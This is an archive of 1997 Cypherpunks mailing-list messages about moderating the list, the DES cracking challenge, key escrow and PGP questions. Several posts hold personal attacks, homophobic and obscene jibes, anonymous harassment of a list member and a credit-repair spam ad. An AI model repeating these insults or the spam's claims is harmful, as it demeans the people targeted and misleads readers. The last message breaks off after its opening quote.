At 4:40 PM -0800 1/7/97, Greg Broiles asks:
>Can you name a software package which runs under Windows or the Mac OS
>which automatically processes reviewers' opinions against a mailbox of
>incoming mail? Better yet, can you name a Eudora plug-in which does so?

An opportunity for somebody who doesn't already do enough programming.

As for the whole moderation idea, consider officially defining the list to
be "occasionally moderated".  If the abuse is bad, start moderating it.  If
there get to be few problems, stop moderating it.  (A separate issue is
whether to tell anyone which way the list is currently running.)


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:32:33 -0800 (PST)
To: cypherpunks@count04.mry.scruznet.com
Subject: Re: Moderation=YES
In-Reply-To: <199701070913.BAA17074@count04.mry.scruznet.com>
Message-ID: <32D33C4F.757D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks@count04.mry.scruznet.com wrote:

> BTW this account is being deleted tonite and I will gladly resubscribe
> to a moderated list under a different name and host.domain than cypherpunk

Dale,
  This is the second post you've received today that says, 
  "Touched you last...bye!"

  You certainly seem to bring out the 'child' in people.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:32:43 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Moderation=YES
In-Reply-To: <ic56ZD6w165w@bwalk.dm.com>
Message-ID: <32D33E1E.1CC4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> But now you advocate censorship. If you don't want to listen to
> Dale, it's your private choice (and your loss).  But you want to impose
> your choice on others.  You don't want me to be able to listen to Dale or
> Dale to be able to listen to me, even when it's out of your hearing.
> You want Ray Arachelanian to be able to post lies about people and his
> victims to be unable to refute his libel in the same forum.

  If I had a dime for everyone who wants to make my life 'better' by
'protecting' me from 'bad people' (others, not 'them'), then I'd be
able to contribute to CypherPunks under the 'dollar a post' system
evisioned by the guy (I have escaped his name) willing to put a few
gallons of gas less in his Cadillac every week so that his viewpoint
won't have any competition from the masses.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 20:00:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970107183351.8693B-100000@polaris>
Message-ID: <8N27ZD20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn <unicorn@schloss.li> writes:

> On Mon, 6 Jan 1997, Dale Thorn wrote:
>
> > You must be in bed with Sandfort.
>
> Disappointed?

Are you gay, Herr Unicorn?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:34:24 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Moderation=YES
In-Reply-To: <Pine.SUN.3.91.970107140117.3639A-100000@beast.brainlink.com>
Message-ID: <32D34300.38D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> Filters aren't intelligent enough.  How do you propose to filter out the
> anonymous dialy warnings about Tim May?

 I keep hearing about how moderation is essential to get rid of the
noise
so that 'code writers' can have serious discussions.
 Am I to understand that I am expected to have some kind of esoteric
faith in 'code writers' cryptographic output, when they can't even
write a filter that meets their own requirements?

> Even our friend Vulis has sane posts when he takes his medication (though
> I suspect he does so rarely.)  Filtering out everything he posts doesn't
> make sense, as reading the sane stuff will have some value.  I don't want
> to miss what he says when it is worth my time to read it.

  Exactly. And I don't know how 'any' moderator is going to satisfy your
personal desires, and mine, and those of several thousand others.
  I don't know 'Sandy' from spit, and it doesn't really matter to me
whether he is God or the SpamMan.  He may be the most well-intentioned
person in the universe, but if he can psychically divine what
'everybody'
wants, I'll kiss your butt.

> The proposed scheme should not affect anyone in any way.  Those who want
> the filtered list will get it, those who want the spams and flames and
> ads and turds will get them, those who want it all will also get them.

  Split lists won't lead to 'harmony', it will lead to 'fractation'.
Putting up a sign that says, "Flamers must sit in the back of the bus."
seems like a good idea.  The fact is, however, that it leads to a
society with a structured class system, and history has already told
us where it goes from there.
  Blacks have always had the option of 'going back to Africa, where they
came from'. (It's a 'free' country, isn't it?)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Tue, 7 Jan 1997 01:49:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Upcoming DES Challenge
Message-ID: <85263054520588@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


Orbital mind control lasers made mpd@netcom.com (Mike Duvos) write:
 
>Peter Trei (trei@process.com) writes:
>>1. I'm astonished at the low level of reaction RSA's announcement that they 
>>will be sponsoring a DES Challenge, with a $10,000 cash prize.
>I'm certainly jumping up and down and cheering.  I said a while back that the 
>life expectancy of DES would be about two weeks if anyone forked over serious 
>cash.
 
I'm still a bit nervous about what the reaction will be though - won't the 
US government (and anyone else pushing DES) be able to say "It took 10,000 
Pentiums several weeks, noone would bother doing that, so it's safe" (with a 
possible side order of "Safer-SK64 is 256 times as secure, anyone we really 
like can use that provided they hand over the keys in advance").
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:32:46 -0800 (PST)
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Modified Token Posting Scheme
In-Reply-To: <Pine.SUN.3.91.970107121200.29778A-100000@beast.brainlink.com>
Message-ID: <32D343DB.39E0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian wrote:
> 
> On Mon, 6 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> > I.e., libel from Timmy May, Ray Arachelian, and the rest of the gang
> > is approved automatically, and when a victim tries to defend himself
> > and to point out that Timmy May is a liar, the response is delayed
> > and probably rejected by the moderator.
> 
> You are far from being the victim of anything.  If anything you're a big
> huge thug who spams the list, posts racist flames, posts homophobic
> flames, uses social engineering to find out info on his "enemies" and
> then posts that info online with requests that others send flames to that
> person's employers.

  Yes, Ray, but he has his 'bad' side, too.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 7 Jan 1997 23:05:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Upcoming DES Challenge
Message-ID: <199701080705.XAA04904@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:49 PM 1/7/97, pgut001@cs.auckland.ac.nz wrote:
>Orbital mind control lasers made mpd@netcom.com (Mike Duvos) write:
> 
>>Peter Trei (trei@process.com) writes:
>>>1. I'm astonished at the low level of reaction RSA's announcement that they 
>>>will be sponsoring a DES Challenge, with a $10,000 cash prize.
>>I'm certainly jumping up and down and cheering.  I said a while back that the 
>>life expectancy of DES would be about two weeks if anyone forked over serious 
>>cash.
> 
>I'm still a bit nervous about what the reaction will be though - won't the 
>US government (and anyone else pushing DES) be able to say "It took 10,000 
>Pentiums several weeks, noone would bother doing that, so it's safe" (with a 
>possible side order of "Safer-SK64 is 256 times as secure, anyone we really 
>like can use that provided they hand over the keys in advance").

This was exactly my concern months ago.  PC's are remarkably _inefficient_ 
systems for attempting to crack codes.  I recall estimating, quite 
approximately, that it might take somewhere about $500,000 of electricity 
cost alone to check all 2**56 possible decrypts, most of which is going to 
power unnecessary components.  (monitors, hard drives, sound cards, modem 
cards, etc, etc, etc.)   By doing the decrypts on PCs (term used 
generically; it applies just as well to Mac's, PowerPC's, DEC Alpha's, etc)  
we make it look like DES is better than it really is.

But I'm under no illusion.  As the saying went, "When the only tool you have 
is a hammer, you treat every problem as if it were a nail.)  People have 
PC's, and will use them.  Let me suggest, however, that somebody familiar 
with the details of DES and FPGA's (or other kinds of high-density 
programmable logic) figure out a ballpark estimate of how much it would cost 
to implement a minimalist DES-cracker in hardware.  Don't do it, just 
estimate it.  Then, when somebody has finally cracked that DES message and 
someone the news media is trying to suggest that this was an expensive 
effort, a more economical figure will be quotable.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:33:05 -0800 (PST)
To: Bruce Schneier <schneier@counterpane.com>
Subject: Re: RSA and Cylink settle
In-Reply-To: <v03007801aef80803b772@[206.11.192.107]>
Message-ID: <32D34873.56D2@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bruce Schneier wrote:
>  This agreement turns long-time antagonists into companies
> that are already exploring ways of working together constructively,
> to the benefit of the industry as a whole."

  They're going to see if, together, they can screw everyone else.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Tue, 7 Jan 1997 15:15:10 -0800 (PST)
To: cryptography@c2.org
Subject: Re: The Upcoming DES Challenge
Message-ID: <19970107231051.1088.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


There is nothing unglamorous about a known plaintext attack, if the
plaintext is choosen carefully. I don't know anything about bank ATMs
and the protocols they use, but I presume the PIN is stored on the card
single DES encrypted. If this is so, anyone can take an ATM card, attack it
to recover the key and then use that key to recover the PIN for any stolen
ATM card of that bank (or that branch). Hopefully, the ciphertext/plaintext
pair that RSA announces will be a real target like this, with the actual key
disabled. Once the key is recovered, the press can then claim that ATM
cards are not safe any longer.

On a related note, do you think the key will first be recovered by a
hardware device or by the Great Internet DES Key Search? Hardware is
much faster, but no such device exists in the private/amateur sector
now. Estimates are that it will take 10 months to actually build such
a device. Opinions?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Tue, 7 Jan 1997 20:43:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation
Message-ID: <9701080426.AA01743@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. May's sexual life is not the business 
of the cypherpunks mailing list.

       o)__
      (_  _`\ Tim C. May
       z/z\__)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:33:22 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: To pay credit when it's due
In-Reply-To: <199701070650.AAA03188@manifold.algebra.com>
Message-ID: <32D34D6D.CDB@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> I forgot to mention that during the design phase of my robomod I have
> received a number of thoughtful and helpful advices from Dr. Dimitri
> Vulis KOTM, mostly regarding authentication protocols, as well as some
> other programming matters.
> 
> For example, a suggestion to add an option requiring all preapproved
> posters to sign their articles was originally made by him.

  As was the suggestion to automatically authenticate any posting
containing the word 'cocksucker'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 22:30:03 -0800 (PST)
To: spanky@europa.com
Subject: Re: About ICF(International Cryptography Framework)
In-Reply-To: <32D2E95B.614E@europa.com>
Message-ID: <32D35219.7107@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Starr wrote:
> 
> Has anyone heard anything or been paying attention to the development of
> the ICF(International Cryptography Framework) standard.  This seems to
> be an attempt of the US Gov and a FEW of our favorite corps to
> completely control cryptography standards as well as to have the keys to
> all cryptographical content.

  It's not an 'attempt', its a 'done deal'.
  The new 'laws' have pretty much already been written to control 
cryptography world-wide. The only thing left is for the Big Boys
to fight over control (and the spoils).
  I have a relative involved in this farce.  For as long as I have
known him, he has always tended to get a 'pained' expression on his
face every time words like 'freedom' or 'rights' get slipped into
a conversation.

> I've also managed to get a hold of Ray Bamford (ray_bamford@hp.com)at HP
> who seems to have some PR role in this wool over the eyes attempt.

  When you use the word 'censorship', does he counter-attack with the
word 'moderation'?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 7 Jan 1997 14:59:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sandy is God...Listen to Him!
Message-ID: <199701072258.XAA06785@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Don't understand all this issue about Sandy and John filtering the list.
Don't we want order and control? We need Sandy to decide whether our
articles should be read by others.

Sandy is our spokesman, our leader, our navigator. When he founded the
Cypherpunks group, he wanted ``order and control, ``and now he has been
forced to re-assume control of the group to put controls in place.

Hey, if Sandy and John say we have to stick to certain topics, well,
dammit, they are in control and we have to do what they want.

Sandy and John are our leaders. Forget this stuff about the Cypherpunks
list being a group seperate from toad.com. Forget this idea that John is
just the host of the list...he is actually the co-controlled. And we'd
better pay attention.

Why didn't Sandy and John just announce a new filtered list, like Blossom
has? Why make their control the default for the whole list, with the the
unfiltered list harder to subscribe to and eventually to go away
completely? Good questions!

Ask not the reasons for God's decissions. This is Sandy's list, and John's
machine, and if they say they know best what is a flame and what is not, I
say we should just take our medicine and learn to love their wise
decisions. If they say we can only write flames if they approve, OK. If
they say we must only write about libertarian topics, OK. If they reject
our messages without explanation, OK.

Sandy is our Leader. And anyone who doesn't respect our Leader should just
leave.

Bye

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

07dTgUBMs4Q8hvikii9febJAQEbrAQAmgwAeqSsi2qIkqakNRPCpwCwNnYudNop
zyxE2LueC+WuhugtLeyDDet+WgefE9X84F4qxn/QVB+tJAGbZzfCPO24shelX21k
mk80oevKqzcfAAzbB4tMtXe5gl6+zykExXjsx4J/KjMNPL0QAE490uvnKqus/a2H
0l2AU9k/Kp8=
=ix2B
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 22:30:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Lane Stipes
In-Reply-To: <3.0.32.19970107201515.00697dd0@future.net>
Message-ID: <32D35A5D.6056@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bob Hawbaker wrote:

> ____________________________________
> Remember, the people who paint lane stripes on the road
> of life probably have different objectives than you do.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 22:30:24 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: your mail
In-Reply-To: <199701072308.RAA02919@smoke.suba.com>
Message-ID: <32D35B01.68B3@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
>      Hmmm.... I must have taken a wrong turn somewhere. I thought this was
> america, land of the free. Can anyone give me directions on how to get there
> from here...

  Take a 'left' at the White House, and a 'right' at the House of
Congress.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: native@media.com (L.B. Done)
Date: Tue, 7 Jan 1997 16:36:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: How To Repair "YOUR OWN " Credit !
Message-ID: <199701080030.TAA15728@sun1.flinet.com.>
MIME-Version: 1.0
Content-Type: text/plain


CREDIT REBUILDING OF AMERICA
 * REBUILD YOUR OWN CREDIT*

PLEASE FORGIVE THIS E-MAIL INTRUSION BUT IF YOU CAN USE THIS SERVICE?   PLEASE KEEP
READING! ***  
                                                                                 
   Have you ever been turned down after you applied for a credit card,
department store card, or a gas credit card, or that  new car  you have 
wanted?
   The reason was probably because of something the creditor found on 
your credit report. 
   Thousands of people are DENIED CREDIT because of something that 
appears on their credit report that is not correct OR they would like 
REMOVED from their credit report FOR GOOD!!
    There are many companies out there that can remove tems on your credit 
report but want to charge you any where from $300.00  to  $1,000.00 .   
   "BE CAREFUL", most of these companies can't do anything 
to repair your credit that you can't do yourself  with my  
"CREDIT REPAIR PACKET".
  Once I found out just how the " BIG " companies were doing this, 
I put all the information down on a  simple   twelve step process. 
     ** DO IT YOURSELF **  why pay their high prices to repair your 
credit, when you can do it yourself for only $19.95  plus 2.95  for S&H.
      I spent over two years to perfect this process, and if followed to the 
letter, it  will  work!!!
      HAVE the NEW CAR you want, the CREDIT CARDS  you want.  
You don't have to wait SEVEN to TEN YEARS for these items to be 
 taken off your credit reprot.
DO IT YOUR SELF!! and feel  GOOD AGAIN!!
Just send your check or money order to:

 Robert C. Roy, Jr.
 P.O. Box 1052
 Delray Beach,  Fl.  33447-1052

I will send you by  return mail  the complete twelve step packet so you
can get started  RIGHT NOW!!

SEND NOW!!  due to the  unbelievable  responce for this packet
the  introductory price of $19.95 (+) $2.95 S&H,  will not last long!
HAVE A "GREAT DAY"!  &
THANK YOU FOR YOUR TIME AND ORDER!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pclow <pclow@extol.com.my>
Date: Mon, 6 Jan 1997 17:16:24 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: RE: IWD_ism
Message-ID: <97Jan7.172538gmt+0800.21889@portal.extol.com.my>
MIME-Version: 1.0
Content-Type: text/plain


>John Young wrote:
>>
>>    ... injecting the attackers'  computers with "a polymorphic
>>    virus that wipes out the system, takes it down for weeks."
>
>Looks to me like somebody's trying to land a job writing X-Files
>scripts.


I beg to differ!  Sounds more like Independence Day to me. Is Jeff Goldbum on the list?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 8 Jan 1997 01:55:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: IBM Key Recovery Propaganda on United Airlines
Message-ID: <1.5.4.32.19970108095456.003811e4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The commercials between the movie and news show on the airline include an
IBM spot on their new Key Recovery software.  Sigh.

The explanations they gave were mixed; one person was talking about
making sure that if you lose the key that people with a legitimate need
to access the material can do it.  The other example they gave, with
pictures, was along the lines of
"Suppose you're going on vacation and you want to leave a key with
a neighbor to feed the dog.  A safe way to do it would be to put your house
key in a lockbox that needs several keys to open it, and give those keys
to people you trust."  Yeah, right - cops can get in, but Dog's gonna get 
pretty hungry....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Wed, 8 Jan 1997 01:08:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ADMINISTRATIVIUM] Forgery detection
Message-ID: <199701080909.CAA27408@-f>
MIME-Version: 1.0
Content-Type: text/plain


Tim Maya grew a beard to look like his mother.

           /\_/\
          ( x x )
      -oo0-(o o)-0oo- Tim Maya





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AwakenToMe@aol.com
Date: Tue, 7 Jan 1997 23:16:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Commercial Encryption Packages
Message-ID: <970108012908_1416371569@emout17.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


How much word has there been on any commercial encryption packages (such as
point n crypt..etc) of any types of backdoors installed in them?
Any comments or knowledge about this would be good edition to the list :)
                              Adam




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Tue, 7 Jan 1997 23:18:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Why are 1024 bit keys the limit right now?
Message-ID: <970108001728_1358519624@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I am just starting at this. I know that part of RSA/PGP's strength comes from
the size key you choose. What prevents someone from writting a 2048 bit key?
Is it because computers can't handle it? Is 1024 top of  the prime number
size right now? Am I way off track? 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 8 Jan 1997 04:06:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: sig. files with PGP
Message-ID: <TCPSMTP.17.1.8.5.59.58.2780269260.1455112@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi there,

I have a question reg. PGP:

If certain parts of an encrypted message are known, does that
compromise the security of the rest of the message?
Example: If I always use a signature file, in plaintext messages as
well as in encrypted messages, could an attacker knowing that
signature file to be part of my encrypted message crack the rest
too?

Please copy replies to my private e-mail, for I am currently not
subscribed to the CP list...

Thanks in advance for your help,

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/* Note: My old key (KeyID: B2728495) has been revoked.      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMtN8SjltEBIEF0MBAQEEoQf/TVZO2Z9gr8Jik0SnbfE7VbrORETlD7q3
nqIsU5FY6iCJKmXy9Us/VW6LOyuRr0qAMbM8IAdMaX96P1FFFGoZ+6QAH1txV+xs
i6+w6TKtHmLZDyMaa40hH5F3/sUUECT5MyW59McO2+seX3gYDwi+jLp6XVZq8BFs
uLymgoDmh+NsDXBcOUs9ULCQy8rsu/nYmbwQxlWqhUnPw1o1nnuUGuBZaEfU6xJj
gthebIpjCPh9YAthdI/XxE4bmYmS1AVhL4Fz6cwR9yMQ4JC3eEoZnhIUvFd16w6i
eOo1Og9sD241ksJTjH7lT0qaRAQFh0ccEQoFoCP/7dAesVjwXKjRhg==
=3u9n
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David K. Merriman" <merriman@amaonline.com>
Date: Wed, 8 Jan 1997 06:28:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Keyserver Draft
Message-ID: <199701081428.GAA11007@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed Jan 08 08:39:12 1997

Having gotten the subject in the spotlight (!), I'd like to clarify a couple 
of points about my draft proposal:

1: it is aimed at supporting _automatic_ realtime - as in supporting 
crypto-aware email packages, so that if an unknown key turns up, the 
encryption program can go out and collect key data _without_ user 
intervention.

2: port "assignment" was arbitrary; if the protocol would work better with a 
single port for send/receive, then "make it so, Number One" :-)

3: I expected that data transfer would work best using ascii text (like 
ascii-fied keys); if something else would work better, so be it.

4: if checksums or other error-detection/correction isn't necessary, then by 
all means, leave it/them out.

I offered the draft as a _proposal_, fully expecting that it would require 
modification, editing, revision, et al. I'm not sufficiently 
pompous/egotistical to believe that I am He Who Knows All.

Too, I have a reasonable idea of my own limitations; I'm simply trying to 
establish *some* kind of common reference point toward a solution of 
something I see as a possible problem. Happily, I haven't received any 
_personal_ flames, the comments I've received have been 
professional/technical. If I get a brownie point or atta-boy out of this, 
cool. If not, that's fine, too, _as long as the problem is addressed_.

I didn't dare propose anything so grand as a distributed system - it seemed 
that a variation of DNS would handle that.

We return you now to FlameFest '97 :-)

Dave Merriman


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMtMI1sVrTvyYOzAZAQH5fgP+M5kJntTNM+LWd67jt+WGoiGLq8SdRwCa
0MljMYuO0oMzgiTrMTchNaj+cxtVkyUrzz+cgj3XQdJF6cdRlDnSW9xGV9rJJC/B
lPf6RD9Vp5Pih9KkqWc+DqKMynGzEm1WXvNZKHDtn3/1etkv0RsEeQejqdNG+5dI
rfZhi4xp9mk=
=1Pcn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 8 Jan 1997 07:09:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation
Message-ID: <199701081509.HAA09972@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> Oh, of course, since you spammed the list with so much vitriol and flames,
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^
You mispeled "since you challenged John Gilmore to remove you from
the list".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pierre Uszynski <pierre@rahul.net>
Date: Wed, 8 Jan 1997 07:19:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
In-Reply-To: <3.0.32.19970107164034.006b6044@mail.io.com>
Message-ID: <199701081518.AA22101@waltz.rahul.net>
MIME-Version: 1.0
Content-Type: text/plain



> >Rich Graves <rcgraves@disposable.com> very correctly mentions:
> >> 1) Moderator liability and anonymous posting.

> At 09:37 AM 1/7/97 -0800, Pierre Uszynski agreed:
> >I agree that this is actually a critical problem with a filtering
> >moderation scheme. Such a scheme appears to provide the capability to
> >filter out possible "copyright violations" posts. From what I remember
> >of the Netcom/CoS case (without going back to the sources), that may
> >mean more liability for the reviewers (and the operator of the
> >machine). That's a major point against simple filtering moderation.

gbroiles@netbox.com (Greg Broiles) continues:
> [...] I'm not sure it's a big problem. I see three broad categories of
> information which the moderation liability scheme may suppress:[...]

I think I went a bit in the wrong direction mentioning Netcom/CoS:

1) The problem is not so much what posts are "legal" or "illegal", as
it is what posts *could* bring in lawsuits and what effect this has on
the moderators. Not everyone evaluates that "Sword of Damocles" threat
identically: Some argue it is statistically irrelevant, some argue that
their pockets are not tempting targets anyway, some are in different
countries (and have not noticed it does not matter anymore), etc...

The point is that

2) The above "do I dare approve this post" equation is clearly not the
one that determines whether a post is good cypherpunks material or
not.  I do not want this liability issue to matter in any way in the
moderators ratings (no matter how Sandy and John would themselves
resolve it) if we can help it. And we can.

and

3) This equation would seriously affect how *I* would offer help in a
filtering moderation scheme: I most likely would not (whether or not
anyone would be interested in me participating, and my decision for
reasons that are not relevant, etc...) Again, that's the wrong reason
brought into the discussion: the right reasons would be "do I have the
time now?" (hah! ;-), "do I currently read in sync with incoming
traffic?", and "do I want to participate?".

> Can you name a software package which runs under Windows or the Mac OS
> which automatically processes reviewers' opinions against a mailbox of
> incoming mail?[...]

I spend a ridiculous portion of my time fixing the damage caused by
software that was used just because "it was there". Just because there
is software to do^H^H, sorry, to botch something under Windows is not
reason enough to use it, and even less of a reason to limit ourselves
to these options. Yes, some people couldn't use the *option* initially,
and others could (with ready software or by writing their own). Too
bad.  As someone else mentioned, that's an opportunity (and there must
be a cross-platform java mail reader somewhere that can be modified or
written to satisfy lots of platforms at once), and cypherpunks wouldn't
be the only forum moving toward "after-the-fact cooperative
filtering"...

> [Greg Broiles
> US crypto export control policy in a nutshell:
> Export jobs, not crypto.]

Great summary,

Pierre.
pierre@rahul.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 05:40:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <32D2F907.2748@gte.net>
Message-ID: <qyq8ZD21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> The Wall Street Cabal (as they say) was genuinely frightened that since
> Milken was so successful with high-yield bonds, they deliberately created
> the term Junk Bonds and flooded the markets with appropriate propaganda,
> and thereby killed off their competition.  How they turned it into a
> criminal offense is truly an art.

Before Milken, it was impossible for a small company or municipality without
a stellar credit history to sell bonds to the public. They had to borrow
from the Wall St Cabal at usurious rates. Milken made it possible for them
to bypass the Cabal. He was convicted of some truly bizarre charges (let
Uni explain what exactly he was guilty of) and given a truly bizarre
sentense by judge Kimba Wood (who, by the way, was Clinton's first choice
for AG before Rhyno). Still, his brainchild, junk bonds, are alive and well.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Tunnicliffe" <Tunny@inference.com>
Date: Wed, 8 Jan 1997 08:00:51 -0800 (PST)
To: "'AaronH4321@aol.com>
Subject: RE: Why are 1024 bit keys the limit right now?
Message-ID: <c=US%a=_%p=Inference%l=LANDRU-970108155742Z-8231@landru.novato.inference2.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

AaronH4321@aol.com writes:
